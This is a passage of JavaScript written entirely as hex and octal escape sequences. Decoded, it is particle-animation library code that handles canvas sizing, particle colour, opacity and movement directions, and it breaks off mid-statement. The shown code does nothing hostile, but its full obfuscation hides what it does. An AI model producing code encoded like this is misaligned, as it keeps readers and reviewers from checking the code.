73\x65\x74\x48\145\x69\x67\150\x74\40\x2a\40\x70\112\x53\56\x63\141\156\x76\x61\163\x2e\160\170\x72\x61\x74\x69\x6f\x3b\12\40\40\x20\40\40\40\40\x20\x70\112\x53\x2e\x70\141\162\164\x69\143\154\x65\x73\56\163\151\172\x65\x2e\x76\141\154\x75\145\x20\x3d\x20\160\x4a\x53\56\164\155\160\x2e\x6f\142\152\56\x73\151\172\145\x5f\x76\141\x6c\165\145\x20\x2a\x20\x70\112\123\x2e\x63\141\156\x76\x61\163\56\160\170\x72\x61\x74\151\157\x3b\12\x20\x20\40\40\x20\x20\x20\40\x70\x4a\x53\56\x70\x61\x72\164\151\143\154\x65\x73\56\163\x69\172\x65\56\141\x6e\151\155\x2e\163\160\x65\145\144\x20\x3d\x20\x70\x4a\x53\56\x74\155\x70\56\157\x62\x6a\x2e\163\x69\x7a\x65\137\x61\156\x69\155\x5f\x73\x70\145\145\144\40\x2a\40\160\112\x53\x2e\x63\141\x6e\x76\141\163\x2e\160\170\x72\x61\x74\151\157\x3b\xa\40\40\x20\x20\40\x20\x20\x20\160\112\123\56\160\x61\162\x74\151\143\x6c\145\163\56\x6d\157\166\145\x2e\163\160\x65\145\144\x20\75\40\x70\x4a\123\x2e\x74\x6d\160\56\x6f\142\x6a\x2e\155\157\x76\x65\137\x73\160\145\145\x64\x20\52\40\160\x4a\x53\56\143\x61\156\x76\141\163\x2e\x70\x78\x72\141\x74\151\157\x3b\12\x20\40\x20\x20\x20\x20\x20\x20\160\112\123\x2e\x70\141\x72\x74\151\143\x6c\145\x73\x2e\x6c\x69\156\x65\137\x6c\151\x6e\x6b\x65\144\56\144\151\163\x74\x61\x6e\x63\x65\40\75\x20\x70\x4a\x53\56\x74\x6d\x70\x2e\x6f\x62\152\56\154\x69\x6e\x65\137\x6c\151\x6e\x6b\145\x64\x5f\x64\x69\x73\x74\x61\156\143\145\40\x2a\x20\x70\112\123\x2e\x63\x61\156\166\x61\163\x2e\160\x78\162\x61\164\151\x6f\73\12\x20\x20\40\40\40\40\40\40\x70\x4a\x53\x2e\x69\x6e\x74\145\x72\141\x63\164\151\x76\x69\164\171\56\x6d\x6f\x64\145\x73\56\147\x72\141\x62\x2e\x64\151\x73\x74\x61\x6e\x63\145\x20\x3d\x20\x70\x4a\123\x2e\x74\x6d\160\x2e\157\x62\x6a\56\155\157\144\x65\x5f\x67\162\x61\x62\x5f\144\x69\163\164\x61\x6e\143\x65\40\52\40\x70\112\x53\x2e\143\141\x6e\166\x61\x73\56\x70\x78\162\141\164\x69\x6f\x3b\xa\40\x20\x20\x20\40\40\40\x20\160\112\123\x2e\151\x6e\x74\x65\x72\x61\143\x74\x69\166\x69\x74\171\56\x6d\x6f\x64\145\x73\x2e\x62\x75\x62\142\154\x65\x2e\x64\x69\163\164\x61\x6e\x63\145\x20\x3d\x20\160\112\x53\x2e\164\155\x70\x2e\157\x62\x6a\56\x6d\157\144\x65\137\142\165\142\x62\154\145\x5f\x64\151\x73\164\141\x6e\143\145\x20\52\40\x70\112\x53\56\143\141\156\166\141\163\56\160\x78\x72\141\164\151\x6f\73\12\x20\x20\40\x20\x20\x20\x20\x20\x70\x4a\123\x2e\x70\x61\162\164\151\x63\x6c\x65\x73\x2e\154\x69\156\145\137\x6c\151\156\x6b\145\144\56\x77\x69\x64\x74\150\x20\x3d\x20\160\112\123\56\164\x6d\x70\56\x6f\x62\x6a\56\x6c\x69\156\145\x5f\x6c\x69\156\x6b\x65\x64\137\167\x69\144\x74\150\40\52\40\x70\x4a\123\56\143\x61\x6e\x76\x61\x73\56\x70\x78\162\x61\164\151\157\x3b\xa\40\x20\x20\40\40\40\x20\40\x70\x4a\123\x2e\151\156\164\x65\162\141\x63\164\x69\x76\x69\x74\171\x2e\x6d\157\x64\145\x73\x2e\142\165\142\x62\x6c\145\x2e\163\151\x7a\x65\x20\x3d\x20\x70\x4a\x53\56\x74\x6d\x70\56\x6f\142\152\56\155\x6f\x64\145\137\x62\x75\142\x62\x6c\145\137\x73\151\x7a\x65\40\x2a\x20\160\x4a\123\x2e\143\141\156\x76\x61\x73\x2e\160\170\x72\141\x74\x69\157\73\xa\40\40\x20\x20\x20\40\x20\x20\x70\x4a\123\56\151\156\x74\x65\x72\x61\143\164\x69\166\151\x74\171\x2e\x6d\x6f\144\145\x73\x2e\162\145\x70\165\x6c\163\145\x2e\x64\x69\x73\164\141\x6e\143\145\40\75\x20\x70\x4a\x53\x2e\x74\155\x70\56\x6f\x62\152\x2e\155\157\x64\x65\137\x72\145\160\x75\x6c\163\145\x5f\144\x69\163\x74\x61\x6e\x63\145\x20\52\40\x70\112\x53\56\143\x61\156\x76\x61\163\x2e\x70\x78\x72\x61\x74\x69\x6f\12\x20\x20\x20\40\175\73\12\x20\40\40\x20\160\112\123\56\x66\x6e\56\x63\x61\x6e\166\141\163\x49\x6e\x69\164\x20\75\x20\146\165\156\143\x74\151\x6f\156\50\x29\x20\173\12\x20\40\40\40\40\40\x20\40\x70\x4a\x53\56\143\141\156\x76\x61\163\56\x63\164\x78\40\75\x20\160\x4a\123\56\x63\x61\156\166\x61\163\x2e\145\154\56\x67\x65\x74\103\x6f\156\x74\x65\170\x74\50\x27\x32\144\47\51\12\40\40\x20\40\175\x3b\xa\x20\40\40\40\160\x4a\x53\x2e\x66\156\x2e\143\x61\156\166\x61\163\123\151\x7a\145\40\75\x20\x66\165\x6e\x63\164\151\157\156\x28\x29\x20\x7b\12\x20\x20\x20\x20\x20\40\40\40\160\112\x53\x2e\143\x61\156\x76\141\x73\x2e\x65\154\x2e\x77\151\x64\164\x68\40\x3d\x20\160\112\123\x2e\143\141\x6e\x76\x61\x73\x2e\167\x3b\12\x20\40\40\40\x20\40\40\40\x70\x4a\x53\x2e\143\141\x6e\166\141\x73\56\145\154\x2e\x68\145\x69\147\x68\x74\40\75\40\x70\x4a\x53\56\x63\141\x6e\166\141\163\x2e\x68\73\12\40\40\40\x20\40\40\x20\40\151\x66\x20\50\x70\x4a\x53\40\46\x26\x20\x70\112\123\x2e\x69\x6e\164\145\x72\141\143\164\x69\x76\x69\x74\171\56\x65\166\x65\x6e\x74\163\x2e\x72\145\163\x69\x7a\145\51\40\x7b\12\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x77\x69\x6e\x64\x6f\167\56\x61\x64\x64\105\x76\x65\156\164\x4c\x69\x73\x74\145\156\145\x72\x28\x27\162\145\163\151\x7a\145\47\x2c\40\x66\165\x6e\143\x74\x69\x6f\x6e\50\51\x20\x7b\12\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\160\112\x53\x2e\x63\141\x6e\166\141\x73\56\x77\40\75\x20\160\112\x53\x2e\x63\x61\x6e\x76\x61\x73\x2e\145\154\56\x6f\x66\x66\x73\x65\164\x57\151\x64\x74\150\x3b\xa\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\x70\x4a\x53\x2e\x63\x61\156\166\141\163\56\x68\x20\75\x20\160\x4a\123\x2e\x63\x61\156\x76\x61\x73\56\x65\154\x2e\157\x66\146\x73\x65\x74\110\x65\x69\x67\150\x74\73\xa\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\40\x69\x66\x20\x28\x70\112\x53\x2e\164\x6d\x70\x2e\162\x65\x74\151\x6e\141\51\40\173\12\40\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x70\x4a\x53\x2e\x63\141\156\166\141\163\56\x77\x20\x2a\75\40\x70\112\x53\56\x63\141\156\166\141\x73\56\160\x78\162\x61\x74\151\x6f\x3b\12\40\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\40\160\x4a\x53\56\143\141\x6e\166\141\163\x2e\x68\40\x2a\x3d\x20\x70\112\x53\x2e\143\x61\x6e\x76\x61\x73\x2e\160\170\162\141\x74\151\x6f\12\x20\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x7d\12\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\160\x4a\123\x2e\143\141\x6e\x76\141\x73\56\145\154\x2e\167\x69\144\x74\x68\40\x3d\40\160\112\123\x2e\143\x61\156\166\x61\x73\x2e\167\x3b\12\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\40\40\40\x20\160\x4a\x53\x2e\143\x61\x6e\166\141\x73\x2e\145\x6c\x2e\150\x65\151\x67\150\x74\x20\75\40\x70\x4a\123\x2e\143\141\156\166\x61\x73\x2e\150\73\xa\40\40\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\x69\x66\x20\x28\41\x70\x4a\x53\x2e\160\x61\x72\x74\x69\x63\154\145\163\56\x6d\x6f\x76\x65\56\x65\156\141\x62\154\145\51\40\173\xa\40\40\40\40\x20\40\40\40\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\160\112\x53\56\x66\156\x2e\x70\141\x72\164\151\x63\154\145\163\x45\155\160\164\x79\50\51\x3b\xa\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\40\40\x70\112\x53\x2e\x66\x6e\x2e\x70\141\162\164\x69\x63\x6c\x65\x73\103\162\145\x61\x74\x65\x28\x29\73\xa\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\160\x4a\x53\x2e\x66\156\56\160\141\x72\x74\x69\143\154\145\163\x44\x72\x61\167\50\x29\73\xa\40\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\40\x70\x4a\x53\x2e\x66\x6e\56\166\145\x6e\x64\157\162\x73\56\x64\145\156\163\151\x74\x79\101\165\164\x6f\x50\x61\162\x74\151\x63\154\x65\x73\50\x29\xa\40\40\40\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\175\xa\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\160\x4a\x53\x2e\x66\156\56\166\145\x6e\x64\x6f\x72\163\x2e\x64\145\156\x73\151\164\x79\x41\165\164\x6f\120\x61\162\164\151\x63\154\x65\x73\x28\x29\12\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x7d\x29\xa\x20\x20\x20\40\x20\x20\40\x20\x7d\xa\x20\x20\40\40\x7d\x3b\12\40\x20\40\x20\x70\112\123\56\x66\x6e\56\x63\141\x6e\166\141\163\120\141\151\156\x74\40\x3d\40\x66\165\x6e\x63\164\x69\157\x6e\50\x29\x20\x7b\xa\40\40\x20\40\40\x20\40\40\x70\x4a\x53\x2e\x63\x61\x6e\166\x61\163\56\143\x74\x78\x2e\x66\151\154\x6c\122\x65\x63\x74\50\60\x2c\40\x30\x2c\40\x70\112\x53\x2e\x63\141\x6e\166\x61\x73\x2e\167\x2c\40\x70\112\123\56\143\x61\x6e\166\x61\x73\56\150\51\xa\x20\x20\40\40\175\73\12\x20\40\40\x20\160\112\123\x2e\146\x6e\56\143\x61\156\x76\141\163\x43\154\x65\x61\162\x20\x3d\40\x66\165\156\143\164\151\x6f\x6e\x28\x29\40\x7b\xa\40\40\40\40\40\40\x20\40\160\x4a\x53\56\x63\x61\x6e\166\141\x73\56\x63\164\x78\x2e\x63\154\x65\141\162\x52\145\143\164\50\x30\x2c\x20\x30\x2c\40\x70\x4a\x53\56\143\141\x6e\166\141\x73\x2e\167\54\40\160\x4a\123\x2e\143\x61\x6e\x76\141\x73\56\x68\x29\xa\40\40\x20\40\x7d\x3b\xa\x20\x20\x20\40\160\x4a\x53\x2e\146\x6e\x2e\160\x61\162\x74\151\x63\x6c\x65\40\x3d\40\146\x75\156\143\164\151\x6f\x6e\x28\x63\157\x6c\157\162\x2c\40\x6f\160\141\x63\151\164\171\54\x20\x70\x6f\163\151\x74\x69\x6f\x6e\x29\40\x7b\12\x20\40\x20\40\40\x20\x20\40\x74\150\x69\163\x2e\162\x61\144\151\x75\x73\40\75\x20\50\x70\x4a\123\x2e\x70\x61\162\164\151\143\154\145\163\56\163\x69\172\145\56\x72\x61\156\144\x6f\x6d\40\x3f\40\x4d\141\164\150\x2e\x72\141\x6e\x64\x6f\x6d\x28\51\x20\72\40\x31\51\x20\x2a\40\160\112\123\56\160\x61\x72\164\151\x63\154\145\163\x2e\x73\x69\172\x65\x2e\x76\x61\154\165\x65\73\xa\40\40\40\40\x20\40\x20\40\x69\x66\40\50\160\x4a\x53\x2e\160\141\x72\x74\x69\143\x6c\x65\x73\x2e\163\151\172\145\56\141\x6e\151\x6d\x2e\145\x6e\x61\142\154\145\x29\40\173\xa\40\40\40\40\x20\40\x20\40\40\40\x20\40\x74\x68\151\163\56\x73\x69\x7a\145\x5f\163\164\141\164\x75\163\x20\x3d\40\x21\x31\x3b\xa\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\164\x68\151\163\56\x76\163\x20\x3d\x20\x70\x4a\x53\x2e\160\x61\x72\164\x69\143\x6c\145\x73\56\163\x69\172\145\56\x61\156\151\155\56\163\160\145\x65\144\x20\57\x20\61\x30\x30\x3b\12\x20\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x69\x66\40\x28\41\x70\x4a\x53\x2e\160\x61\x72\164\x69\x63\x6c\145\163\56\163\x69\x7a\x65\x2e\x61\156\151\x6d\56\x73\171\x6e\x63\x29\40\173\12\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x74\150\x69\163\x2e\166\163\x20\75\x20\164\150\x69\x73\56\166\163\40\52\40\x4d\x61\x74\150\x2e\162\x61\156\144\157\155\50\51\12\x20\40\40\x20\x20\40\x20\40\40\40\40\40\175\xa\40\40\40\x20\x20\x20\40\40\x7d\12\40\40\40\40\x20\x20\40\x20\164\x68\x69\x73\x2e\170\x20\75\x20\160\157\163\x69\164\x69\x6f\x6e\40\x3f\40\160\157\163\x69\164\151\x6f\x6e\x2e\170\x20\x3a\40\115\141\164\x68\x2e\x72\141\x6e\x64\x6f\155\x28\x29\40\52\x20\x70\x4a\123\56\x63\x61\x6e\x76\x61\x73\56\167\73\xa\40\40\x20\40\x20\x20\40\40\x74\x68\x69\x73\56\171\x20\x3d\x20\x70\157\x73\151\x74\151\157\x6e\40\77\40\160\x6f\163\151\164\x69\x6f\x6e\x2e\171\x20\72\x20\x4d\x61\164\150\56\162\141\156\x64\157\x6d\x28\x29\x20\x2a\x20\160\x4a\x53\56\x63\141\x6e\166\141\x73\x2e\x68\73\12\40\40\x20\x20\40\x20\x20\40\151\x66\40\x28\164\x68\x69\x73\56\170\x20\x3e\40\160\x4a\x53\56\143\141\156\x76\141\x73\x2e\167\x20\x2d\40\164\x68\x69\x73\56\x72\141\144\x69\x75\163\x20\52\x20\62\51\40\x74\150\151\163\56\170\40\x3d\40\x74\x68\151\163\56\170\40\55\x20\x74\150\151\163\56\x72\141\144\x69\165\x73\73\xa\x20\40\x20\40\x20\40\x20\40\x65\154\163\145\40\x69\146\40\x28\x74\x68\x69\x73\x2e\x78\x20\x3c\40\x74\x68\151\x73\x2e\162\x61\144\151\165\163\40\x2a\x20\x32\x29\40\164\150\151\163\56\x78\40\75\x20\164\x68\151\163\56\170\40\53\x20\x74\150\151\163\x2e\162\x61\144\x69\x75\163\73\12\40\40\x20\x20\40\40\x20\40\151\146\x20\50\164\150\x69\163\x2e\171\40\76\x20\160\x4a\x53\x2e\x63\x61\x6e\x76\141\x73\x2e\150\40\55\40\164\150\x69\x73\56\162\141\x64\151\165\x73\40\x2a\x20\62\51\x20\164\x68\151\x73\x2e\171\40\75\x20\x74\x68\x69\163\x2e\x79\x20\55\40\x74\150\x69\x73\56\x72\141\144\x69\165\x73\73\12\40\40\40\x20\x20\x20\x20\40\145\x6c\163\x65\40\x69\146\40\x28\x74\150\x69\x73\x2e\x79\x20\74\40\164\x68\151\163\x2e\x72\141\x64\x69\x75\163\40\x2a\x20\62\x29\x20\x74\x68\x69\x73\56\x79\x20\x3d\40\164\150\151\x73\x2e\171\40\53\40\x74\150\151\x73\x2e\162\x61\x64\151\165\x73\73\12\40\40\x20\x20\40\40\40\40\x69\146\x20\50\160\112\123\56\x70\x61\162\x74\x69\143\x6c\x65\163\56\155\x6f\x76\x65\56\x62\x6f\165\156\x63\145\x29\x20\x7b\xa\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\160\112\123\x2e\146\156\x2e\x76\145\156\x64\157\x72\x73\56\143\150\x65\143\153\x4f\x76\x65\162\x6c\x61\160\50\x74\150\151\163\54\40\x70\157\x73\x69\164\151\x6f\x6e\x29\12\40\40\40\40\40\x20\x20\40\x7d\12\40\x20\40\40\x20\40\40\40\x74\150\x69\163\56\143\x6f\154\157\x72\40\x3d\x20\173\175\x3b\xa\40\40\x20\x20\x20\40\40\40\x69\x66\40\x28\x74\x79\160\145\157\x66\x28\143\x6f\x6c\x6f\162\56\166\141\x6c\x75\145\51\40\75\75\x20\x27\157\142\x6a\x65\x63\x74\x27\51\x20\173\xa\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x69\x66\x20\50\x63\x6f\x6c\157\x72\56\x76\141\x6c\x75\145\x20\x69\x6e\163\x74\141\156\x63\145\x6f\146\x20\x41\162\162\141\x79\x29\x20\173\xa\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x76\x61\x72\x20\143\x6f\x6c\x6f\162\x5f\163\145\154\145\x63\x74\x65\144\x20\x3d\40\x63\x6f\x6c\x6f\x72\56\x76\x61\154\x75\145\133\115\x61\164\150\x2e\146\154\157\157\162\50\115\141\164\150\x2e\162\141\x6e\x64\x6f\155\50\51\x20\52\40\x70\112\x53\56\160\x61\162\x74\x69\x63\x6c\145\x73\56\143\157\x6c\157\x72\56\166\x61\x6c\165\145\x2e\154\145\156\x67\x74\x68\x29\135\73\xa\40\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\40\x20\164\x68\x69\x73\x2e\143\157\x6c\x6f\x72\x2e\x72\147\142\x20\75\x20\x68\145\170\x54\157\122\x67\x62\50\x63\157\x6c\x6f\x72\x5f\163\145\x6c\x65\143\164\145\144\x29\xa\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\x7d\40\145\154\x73\x65\x20\173\xa\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x69\146\x20\50\x63\157\x6c\157\162\x2e\166\x61\x6c\x75\145\x2e\162\40\x21\75\40\x75\156\144\x65\x66\151\x6e\145\144\x20\46\46\x20\143\157\x6c\x6f\162\56\x76\x61\154\165\145\x2e\147\x20\x21\x3d\x20\165\x6e\144\x65\x66\x69\156\x65\144\40\46\x26\40\x63\157\x6c\157\x72\56\x76\141\x6c\165\145\x2e\142\x20\x21\75\x20\165\156\144\x65\146\151\x6e\x65\x64\51\x20\x7b\xa\40\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\x74\x68\151\x73\56\143\157\x6c\x6f\162\x2e\162\147\x62\40\x3d\40\173\xa\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\162\x3a\x20\x63\157\154\157\162\56\166\x61\154\x75\145\56\162\x2c\xa\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x20\40\40\40\40\x20\40\x67\x3a\x20\x63\157\x6c\x6f\162\56\166\x61\x6c\x75\x65\x2e\x67\54\12\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\142\72\x20\143\x6f\154\x6f\x72\56\166\141\154\x75\145\x2e\142\xa\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\175\xa\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\175\xa\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x69\146\x20\50\143\x6f\x6c\x6f\x72\x2e\166\x61\x6c\165\x65\x2e\x68\40\41\x3d\x20\x75\156\144\x65\146\x69\x6e\145\x64\x20\46\46\x20\x63\x6f\154\x6f\162\x2e\166\x61\x6c\x75\x65\56\163\x20\41\75\40\x75\156\x64\x65\146\151\156\145\144\x20\x26\46\40\143\157\154\x6f\162\56\x76\x61\154\165\x65\x2e\154\40\x21\75\x20\x75\x6e\144\145\146\151\x6e\x65\x64\x29\x20\x7b\xa\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x74\150\151\163\56\x63\157\x6c\157\162\x2e\150\163\x6c\x20\75\x20\x7b\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\40\40\x20\40\40\40\x68\72\x20\x63\x6f\x6c\157\162\56\166\141\154\165\145\x2e\x68\x2c\12\x20\40\40\40\x20\40\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x73\72\40\x63\157\154\157\162\56\x76\141\154\165\x65\56\x73\54\12\40\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\154\72\x20\x63\157\x6c\x6f\162\56\x76\141\x6c\165\x65\56\x6c\xa\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\40\175\xa\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x20\x7d\xa\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\175\12\x20\x20\40\40\x20\40\x20\x20\175\x20\x65\154\x73\145\40\151\146\x20\x28\x63\x6f\154\x6f\162\x2e\x76\141\x6c\165\145\40\75\75\40\x27\x72\x61\x6e\144\x6f\x6d\47\x29\x20\x7b\12\40\x20\40\x20\x20\40\40\40\40\x20\40\40\164\x68\151\163\x2e\143\157\154\157\x72\56\x72\x67\x62\x20\75\40\x7b\12\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x72\x3a\40\x28\x4d\141\164\150\x2e\146\154\157\157\162\50\x4d\141\x74\150\x2e\x72\x61\156\x64\x6f\155\50\x29\40\x2a\40\50\x32\65\x35\40\55\40\x30\x20\53\x20\61\x29\x29\x20\x2b\40\x30\51\x2c\xa\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\40\40\147\x3a\40\x28\x4d\x61\164\150\x2e\146\154\157\x6f\162\50\x4d\x61\x74\x68\x2e\x72\x61\x6e\144\157\x6d\50\51\40\52\40\50\62\65\x35\40\x2d\x20\60\40\x2b\x20\61\51\51\x20\53\x20\x30\x29\54\12\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\40\x20\x20\142\72\40\50\x4d\141\x74\x68\x2e\146\154\157\157\x72\x28\x4d\141\x74\x68\x2e\162\x61\x6e\144\x6f\155\x28\x29\x20\52\40\50\62\65\x35\40\x2d\x20\x30\40\53\x20\61\51\x29\x20\x2b\x20\60\x29\xa\x20\40\40\x20\40\40\x20\40\40\40\40\x20\175\xa\40\40\x20\40\40\40\40\x20\175\40\x65\x6c\x73\145\x20\x69\x66\x20\50\x74\x79\x70\145\157\146\x28\143\157\x6c\157\x72\56\x76\x61\154\x75\145\51\40\x3d\x3d\x20\47\x73\x74\x72\151\x6e\147\47\51\x20\x7b\12\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\164\x68\151\x73\x2e\x63\x6f\154\157\162\x20\x3d\40\143\x6f\x6c\x6f\x72\x3b\12\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x74\150\151\x73\x2e\143\x6f\x6c\157\x72\56\x72\x67\142\40\75\x20\150\145\170\x54\157\122\147\x62\50\x74\x68\151\x73\56\x63\x6f\154\x6f\x72\x2e\166\x61\154\165\145\51\xa\x20\40\x20\x20\x20\40\40\x20\175\xa\40\x20\40\x20\40\40\x20\x20\x74\x68\151\x73\x2e\x6f\x70\141\x63\151\x74\x79\40\75\40\50\160\112\123\56\160\141\162\x74\x69\143\154\145\x73\x2e\157\x70\x61\x63\151\x74\x79\56\162\x61\x6e\144\157\x6d\40\77\40\x4d\x61\x74\150\x2e\162\x61\x6e\144\x6f\155\x28\51\x20\x3a\x20\x31\x29\40\52\x20\160\112\123\56\160\141\x72\x74\151\x63\x6c\x65\x73\56\x6f\x70\141\x63\151\x74\171\x2e\166\141\154\x75\145\73\xa\x20\40\x20\40\40\x20\40\40\151\x66\x20\50\x70\112\x53\56\x70\141\162\x74\x69\x63\154\145\163\x2e\157\x70\x61\143\151\164\x79\56\x61\x6e\151\155\56\x65\156\x61\x62\x6c\145\x29\40\x7b\xa\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\40\164\x68\x69\x73\x2e\157\x70\141\143\x69\164\171\x5f\x73\164\x61\164\x75\163\40\x3d\x20\x21\x31\73\xa\40\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x74\x68\x69\163\56\x76\x6f\x20\x3d\40\x70\x4a\x53\56\x70\x61\162\x74\151\x63\154\145\163\56\157\160\x61\x63\151\x74\x79\x2e\x61\x6e\x69\x6d\x2e\163\160\145\145\x64\40\x2f\x20\x31\x30\60\73\xa\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\151\x66\40\50\x21\160\112\123\x2e\x70\x61\162\x74\151\143\154\x65\163\56\x6f\160\x61\x63\x69\x74\171\x2e\141\156\x69\x6d\56\163\x79\x6e\x63\x29\40\173\12\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x74\x68\x69\163\x2e\x76\157\40\x3d\40\x74\x68\x69\163\56\166\157\40\52\40\x4d\141\164\150\x2e\162\141\156\x64\x6f\x6d\50\51\12\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\175\12\x20\x20\40\x20\40\x20\40\40\x7d\12\x20\40\x20\x20\40\x20\x20\40\x76\141\162\40\x76\x65\154\x62\141\163\145\x20\75\x20\x7b\175\xa\x20\40\x20\40\40\40\x20\x20\x73\167\151\x74\x63\x68\x20\50\160\x4a\123\56\160\141\162\x74\151\x63\x6c\x65\163\56\x6d\x6f\166\145\x2e\144\151\x72\145\143\164\151\157\x6e\51\x20\173\12\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x63\141\x73\145\40\x27\x74\157\160\47\x3a\xa\40\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\166\145\x6c\142\141\x73\x65\x20\x3d\x20\x7b\xa\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\x78\72\40\60\54\12\40\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\x79\x3a\40\x2d\x31\12\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\175\73\xa\40\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\142\162\145\141\x6b\73\xa\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\143\x61\163\x65\x20\x27\x74\x6f\160\x2d\x72\x69\147\x68\164\47\x3a\12\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x76\145\154\142\141\163\x65\40\x3d\40\x7b\xa\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\170\72\x20\x30\56\x35\x2c\xa\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\171\72\x20\55\x30\56\65\12\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\175\x3b\xa\x20\40\x20\40\40\x20\40\40\40\40\40\40\40\x20\x20\x20\142\162\x65\141\x6b\x3b\xa\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\143\x61\163\x65\x20\47\162\151\x67\x68\164\47\72\xa\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x76\145\x6c\x62\141\x73\x65\x20\75\40\173\12\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x78\x3a\40\61\x2c\12\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\x79\x3a\40\55\60\xa\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\175\x3b\xa\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\142\x72\145\141\153\x3b\xa\x20\40\40\40\40\x20\x20\40\40\40\40\x20\x63\141\163\145\40\47\142\x6f\164\x74\157\155\x2d\x72\151\147\150\x74\47\x3a\12\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x76\x65\x6c\x62\141\163\145\x20\75\x20\x7b\xa\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x78\72\40\x30\56\x35\x2c\xa\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\171\x3a\x20\x30\56\x35\12\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\175\x3b\12\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\40\x20\142\x72\145\x61\153\x3b\xa\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\x63\x61\163\145\x20\x27\142\157\x74\x74\x6f\155\x27\72\xa\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\x20\166\x65\x6c\x62\x61\x73\x65\40\x3d\x20\173\xa\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\170\x3a\40\60\54\xa\40\40\x20\x20\